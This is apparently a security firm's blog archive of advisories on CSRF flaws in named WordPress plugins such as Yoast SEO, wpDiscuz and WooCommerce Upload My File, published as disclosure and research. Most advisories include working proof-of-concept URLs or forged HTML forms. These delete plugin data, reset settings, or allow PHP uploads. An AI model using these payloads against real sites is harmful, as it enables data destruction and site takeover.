01 Dec

Tip For Security Researchers: WordPress Uses a Nonce to Protect Against Cross-Site Request Forgery (CSRF)

For the last three false reports of vulnerabilities in WordPress plugins we have discussed, there has been a common denominator that we don’t quite understand. Each has involved a claim that a plugin has a cross-site request forgery (CSRF) vulnerability, but in the proof of concept for exploiting each of the vulnerabilities there has been nonce included. Seeing a nonce is what is used in WordPress to protect against that type of vulnerability, we have a hard time understanding what is going on here, other than people without the proper knowledge to make a claim that this type of vulnerability exist are in fact doing that.

When used in a form a simple version of the nonce looks like this:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="aa27b52873" />

While it is not required to actually use the word “nonce”, in most cases it will be labeled as such.

While the existence of a valid looking nonce in a proof of concept of a vulnerability likely indicates that the report is false, the existence of a nonce in a plugin’s pages is not always an indication that there is not a CSRF vulnerability, as plugins do not always actually check if the nonce exists or that it is valid when processing the request tied to it. One way to test out if the CSRF protection is properly functioning is to use the developer tools in your web browser to modify the value of the nonce or remove it and see if the request is still successful.

30 Nov

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Wp-D3

This post's content is only accessible to those who have an active account with our service. If you currently have one then please log in to view the content. If you don't currently have one, when you sign up now you can try the service for free for the first month.

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

28 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in WP Database Backup

This post's content is only accessible to those who have an active account with our service. If you currently have one then please log in to view the content. If you don't currently have one, when you sign up now you can try the service for free for the first month.

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

27 Oct

Cross-Site Request Forgery (CSRF) Vulnerability in GoDaddy Email Marketing

We recently found that the GoDaddy Email Marketing plugin had contained a cross-site request forgery (CSRF) vulnerability that could have caused all the data associate with the plugin to be deleted.

When the debug mode of the plugin is enabled the option to do a “cache reset” or a “hard reset” is made available. The “hard reset” would cause all of the data in the plugin to be deleted. As of version 1.1.2, a request for the URL /wp-admin/options-general.php?page=gem-settings&action=debug-reset would cause that to happen. As you can see, there is no nonce included in that URL, which is what is used to prevent CSRF in WordPress (there also was no check to make sure that a valid nonce was included before processing the request). Without that, if you could get a logged in administrator to visit that URL directly or cause them to send a request to that URL from a page you control, then all the data would be deleted.

Turning on the debug was properly protected against CSRF, so this was only exploitable if that was already enabled.

After we notified the developer they release two version of 1.1.3 of the plugin. The first version was intended to fix this, but was missing any changes. Version two of it included the fixes and version 1.1.4 was released right after that, so anyone with the first version of 1.1.3 will be prompted to upgrade to a fixed version.

Proof of Concept

The following proof of concept will cause the data associated with the plugin to be deleted, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=gem-settings&action=debug-reset

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/19/2016 – Developer responds after another one of the plugins is pulled from the directory due to vulnerability we discovered.
  • 10/19/2016 – We privately notified the developer of the issue.
  • 10/19/2016 – First version of 1.1.3 released, which intended to fix vulnerability but was missing any changes.
  • 10/26/2016 – Second version of 1.1.3 released, which fixes vulnerability.
13 Sep

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.

Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.

The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.

Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:

350
351
352
353
354
355
356
function woo_feed_generate_feed()
{
    if (isset($_POST['provider'])) {
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ALL);
        $process = woo_feed_add_update($_POST);

To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function woo_feed_add_update($info = "", $name = "")
{
    set_time_limit(0);
    if (count($info) &amp;&amp; isset($info['provider'])) {
        # GEt Post data
        if ($info['provider'] == 'google') {
            $merchant = "Woo_Feed_Google";
        } elseif ($info['provider'] == 'facebook') {
            $merchant = "Woo_Feed_Facebook";
        } else {
            $merchant = "Woo_Feed_Custom";
        }
 
        $feedService = sanitize_text_field($info['provider']);
        $fileName = str_replace(" ", "", sanitize_text_field($info['filename']));
        $type = sanitize_text_field($info['feedType']);

We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.

Proof of Concept

The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="filename" value="Total Sales">
<input type="hidden" name="feedType" value="csv">
<input type="hidden" name="itemsWrapper" value="products">
<input type="hidden" name="itemWrapper" value="product">
<input type="hidden" name="extraHeader" value="">
<input type="hidden" name="delimiter" value=",">
<input type="hidden" name="enclosure" value="double">
<input type="hidden" name="wf_tabs" value="on">
<input type="hidden" name="mattributes[]" value="Product">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="title">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[0][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="mattributes[]" value="Total Sales">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="wf_cattr_total_sales">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[1][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="ftpenabled" value="0">
<input type="hidden" name="ftphost" value="">
<input type="hidden" name="ftpuser" value="">
<input type="hidden" name="ftppassword" value="">
<input type="hidden" name="ftppath" value="">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/6/2016 – Developer notified.

29 Jul

Cross-Site Request Forgery (CSRF) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. We found two related issues in the plugin User Activity Log due to a lack of protection against cross-site request forgery (CSRF).

A CSRF vulnerability involves causing someone to take an action they didn’t intend to. In the case of the first vulnerability in the plugin, if you could get an Administrator to visit a page you control you could cause them to in turn access the page /wp-admin/admin.php?page=general_settings_menu&db=reset, which would cause all logged activity to be deleted. You can see that the URL doesn’t contain a nonce, which is what is used to protect agains this type of vulnerability. This isn’t something that is likely to be exploited, but it is concern since it would make it easier for someone to erase some of the evidence of what malicious action they might have taken.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause all logged activity to be deleted when accessed by an Administrator level account

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=general_settings_menu&db=reset

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 6/29/2016 – Version 1.2.4 released, which fixes issue.
20 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in wpDiscuz

As we continue looking at ways we can improve the security of WordPress plugins, one of the thing we are trying is checking over plugins that we have recently added new vulnerabilities to our data set to see if we can find any other obvious vulnerabilities. The first vulnerability we have discovered is a really minor vulnerability, that would be more of an annoyance than a serious threat. In version 3.2.8 of the plugin wpDiscuz we found that there is no protection against cross-site request forgery (CSRF) when resetting the plugins settings. So if you can trick an Administrator level user in to visiting the URL that causes that, the reset will occur without them intending it. It seems to be a simple oversight as the two buttons next to it on the settings page do have the proper protection.

The reset is handle in the file /options/html-options.php at:

28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if (isset($_GET['wpdiscuz_reset_options']) &amp;&amp; $_GET['wpdiscuz_reset_options'] == 1 &amp;&amp; current_user_can('manage_options')) {
	delete_option(WpdiscuzCore::OPTION_SLUG_OPTIONS);
	$this-&gt;optionsSerialized-&gt;postTypes = array('post');
	$this-&gt;optionsSerialized-&gt;shareButtons = array('fb', 'twitter', 'google');
	$this-&gt;optionsSerialized-&gt;addOptions();
	$this-&gt;optionsSerialized-&gt;initOptions(get_option(WpdiscuzCore::OPTION_SLUG_OPTIONS));
	$this-&gt;optionsSerialized-&gt;blogRoles['post_author'] = '#00B38F';
	$blogRoles = get_editable_roles();
	foreach ($blogRoles as $roleName =&gt; $roleInfo) {
		$this-&gt;optionsSerialized-&gt;blogRoles[$roleName] = '#00B38F';
	}
	$this-&gt;optionsSerialized-&gt;blogRoles['guest'] = '#00B38F';
	$this-&gt;optionsSerialized-&gt;showPluginPoweredByLink = 1;
	$this-&gt;optionsSerialized-&gt;updateOptions();
	do_action('wpdiscuz_reset_options');
}

You can see that a capabilities check is done, so lower level users can’t cause a reset, but there is no nonce check done.

Proof of Concept

When logged in as an Administrator visiting the following URL will reset all the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/edit-comments.php?page=wpdiscuz_options_page&wpdiscuz_reset_options=1

Timeline

6/13/2016 – Developer notified.

17 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Upload My File

When it comes to hacking websites most of the time hackers are not interested in targeting specific websites, instead they are just trying to hit as many websites as possible to use for various purposes. That means that many types of vulnerabilites are not much of a threat because hackers are not often trying to exploit them. You still want to make sure those vulnerabilities don’t exist because if someone does target your website, you don’t want to be vulnerable. When it comes to WordPress websites, what seems like it would be one of the  most interesting type of website to be the subject of targeted attacks would be website with eCommerce functionality, since there is sensitive data being handled by the website.

One of the more popular eCommerce solutions for WordPress is WooCommerce, which has over 1 million active installs according to wordpress.org (which includes this website). There are also many plugins designed to work with that and each of those things introduces additional security risks. Since we started this service quite a few of those plugins have been found to have security vulnerabilities. We just came across another one.

While looking over some plugins that handle uploads we came across the plugin WooCommerce Upload My File, which allows customers to upload a file beside their order. That obviously introduce a potential risk, since if a hacker could use that to upload a malicious file it could allow them a high level of access to the website. To limit this the plugin restricts the file extensions that can be upload through the plugin, with it defaulting to only allowing jpg and png extensions. The permitted extensions is set on the plugin’s setting page and that is where we found an issue. The setting’s page for the plugin didn’t have protection against cross-site request forgery (CSRF), so that if a hacker could get a logged in admin to visit a page they control the hacker could cause the allowed extensions to be changed so that a .php file could be uploaded. From there they could create an order and then upload .php file with malicious code in it.

The vulnerability existed from version 0.1 to 0.3.9.

Proof of Concept

The following proof of concept will change the allowed file types for the plugin to “jpg,png,php”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=woocommerce_umf" method="POST">
<input type="hidden" name="umf_fields_submitted" value="submitted" />
<input type="hidden" name="woocommerce_umf_allowed_file_types" value="jpg,png,php" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/15/2016 – Developer notified.
  • 6/17/2016 – Version 0.4.0 released, which fixes vulnerability.
13 Jun

Cross-Site Request Forgery Vulnerability (CSRF) in WP to Twitter

Recently we wrote a post, Don’t Expect That Someone Else Has Checked The Security of the WordPress Plugins You Use, about the fact that you can’t expect that others have checked the security of the plugins you use. That obviously applies to us as well as everyone else, so we are taking a closer look at the plugin we use and spotted one minor security issue so far. That issue was a cross-site request forgery vulnerability (CSRF) vulnerability that was in Wp to Twitter’s function for saving it’s options.

The vulnerability would have allowed an attacker who could get a logged in Administrator level user to visit a page they control to change the plugin’s settings. This type of vulnerability isn’t something we see attempts to exploit in general and when it can’t be combined with something more serious like a cross-site scripting (XSS) it would be little more than a nuisance if exploited. In this case the plugin’s settings seemed to be hardened against cross-site scripting.

It is worth bringing up though because the cause of this vulnerability is something we see frequently causing CSRF vulnerabilities and in other cases the CSRF could have more serious consequences than this one.

In the file /wp-to-twitter-manager.php the nonce included with request to change the options, which is used to prevent the CSRF, is checked this way in version 3.2.9:

9
10
11
12
13
14
if ( ! empty( $_POST['_wpnonce'] ) ) {
	$nonce = $_REQUEST['_wpnonce'];
	if ( ! wp_verify_nonce( $nonce, 'wp-to-twitter-nonce' ) ) {
		die( "Security check failed" );
	}
}

The problem with that code is that if a value for the nonce, $_POST[‘_wpnonce’], is not included then the function this is in will continue running past this code even though the security check did in fact fail since there was not a valid nonce. As we mentioned in one of our security tips for developers, you don’t need to check if a nonce exists before verifying it since WordPress will do that check for you.

Within a few hours of us notifying the developer, the vulnerability was fixed with the release of version 3.2.10.

Proof of Concept

The following proof of concept with change the value of “

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=wp-tweets-pro&tab=basic" method="POST">
<input type="hidden" name="submit-type" value="options" />
<input type="hidden" name="wpt_post_types[post][post-published-text]" value="CSRF" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/13/2016 – Developer notified.
  • 6/13/2016 – Vulnerability fixed with release of version 3.2.10.
11 May

Cross-site Request Forgery (CSRF) Vulnerability in Yoast SEO

One of things we think highlights the poor security of WordPress plugins is how often reviewing a report of a vulnerability points to other security issues in a plugin. Recently the security company Wordfence released an advisory for the Yoast SEO plugin for what seems to be a rather minor issue. Logged in users could access several functions of Yoast SEO that they were not normally intended to have access to, including exporting the plugin’s settings.

Since Wordfence had not included a proof of concept that we could use to verify the vulnerability and determine what versions were vulnerable, we needed to create that ourselves. To do that we started by looking at the changes made in version of the plugin that was suppose to have fixed the issue, 3.2.5. The only relevant changes we could find were these:

yoast-seo-security-changes

Those changes stop the code from running if the request is made by someone that doesn’t have  certain capabilities. We had expected to also see a change related to a nonce, which is unique value that is used to prevent cross-site request forgery (CSRF). The vulnerability with the export function should not have been possible without a problem somewhere in the relevant nonce being generated and checked, since a user who could not get to the settings page would not have access to that if it everything was done correctly and should not be able to do an export. So what was going on?

Looking the relevant page of the plugin, /wp-admin/admin.php?page=wpseo_tools&tool=import-export, a nonce actually exists:

<script>// <![CDATA[
var wpseo_export_nonce = '430e1e5067';
// ]]></script>

When the button to do an export is clicked that nonce is then passed along in the request:

a("#export-button").click(function(b){a.post(ajaxurl,{action:"wpseo_export",_wpnonce:wpseo_export_nonce,include_taxonomy:a("#include_taxonomy_meta").is(":checked")},function(b){b=JSON.parse(b);

We then did a search through the plugin’s code and found that the nonce is never checked.

We figured that check of the nonces validity probably had existed and got removed during a code change and that looks to be what happened.

In version 2.1.1 the check happens on the first line  of the function wpseo_get_export:

function wpseo_get_export() {
	check_ajax_referer( 'wpseo-export' );
 
	$include_taxonomy = ( WPSEO_Utils::filter_input( INPUT_POST, 'include_taxonomy' ) === 'true' ) ? true : false;
	$export           = new WPSEO_Export( $include_taxonomy );
 
	wpseo_ajax_json_echo_die( $export-&gt;get_results() );
}

In the next version, 2.2, that line has been removed and the next line has been changed.

function wpseo_get_export() {
 
	$include_taxonomy = ( filter_input( INPUT_POST, 'include_taxonomy' ) === 'true' );
	$export           = new WPSEO_Export( $include_taxonomy );
 
	wpseo_ajax_json_echo_die( $export-&gt;get_results() );
}

Since the other changes made were not radical it does seem hard to understand how the line could have been lost, possibly indicating that the developer doesn’t have the best practices in place in reviewing changes being made to the plugin.

Version 2.2 was released on June 10 of last year, so the vulnerability has been there for 11 months.

There isn’t much risk from this vulnerability since you would have to get someone logged in as admin to visit a URL to cause the file with export of the settings to be created. That file doesn’t look like it normally would contain sensitive data. At that point you also wouldn’t have access to the export file, that would require taking advantage of the other security issue we found while looking into this.

We notified the developer of the issue on Friday and yesterday they informed us that they “decided the severity of the issue is too low to do a patch release” and “will of course fix the issue before the next release (3.3) which is currently scheduled to be released on June 14th”. They also said they “would appreciate it if you could hold off on publishing about this before the next release.” We informed that we would not be doing that due to the fact that the issue is fairly obvious based on the previous security advisory from Wordfence and due to its low severity. In response the developer said “So much for responsible disclosure.”. For the record we believe in reasonable disclosure, not responsible disclosure. In this case, either this is a low severity issue and its disclosure isn’t a big issue or disclosing it would be a big issue and it should have already been fixed by now.

It also worth noting that the fact that Wordfence’s security researchers missed this issue speaks poorly of their security knowledge, something that might not come as a surprise since that company doesn’t seem to very knowledgable about security in general.

Update June 14, 2016:

Yoast SEO 3.3 was released today and the vulnerability was not fixed, despite the developers having told us it would be.

Proof of Concept

The following proof of concept will cause the export to occur despite
the nonce not being included, when logged in as admin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action=" http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input name="action" type="hidden" value="wpseo_export" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

Timeline

  • 5/6/2016 – Developer notified.
  • 5/10/2016 – Developer indicates the vulnerability will be fixed in version 3.3.
  • 6/21/2016- Version 3.3.2 released, which fixes vulnerability.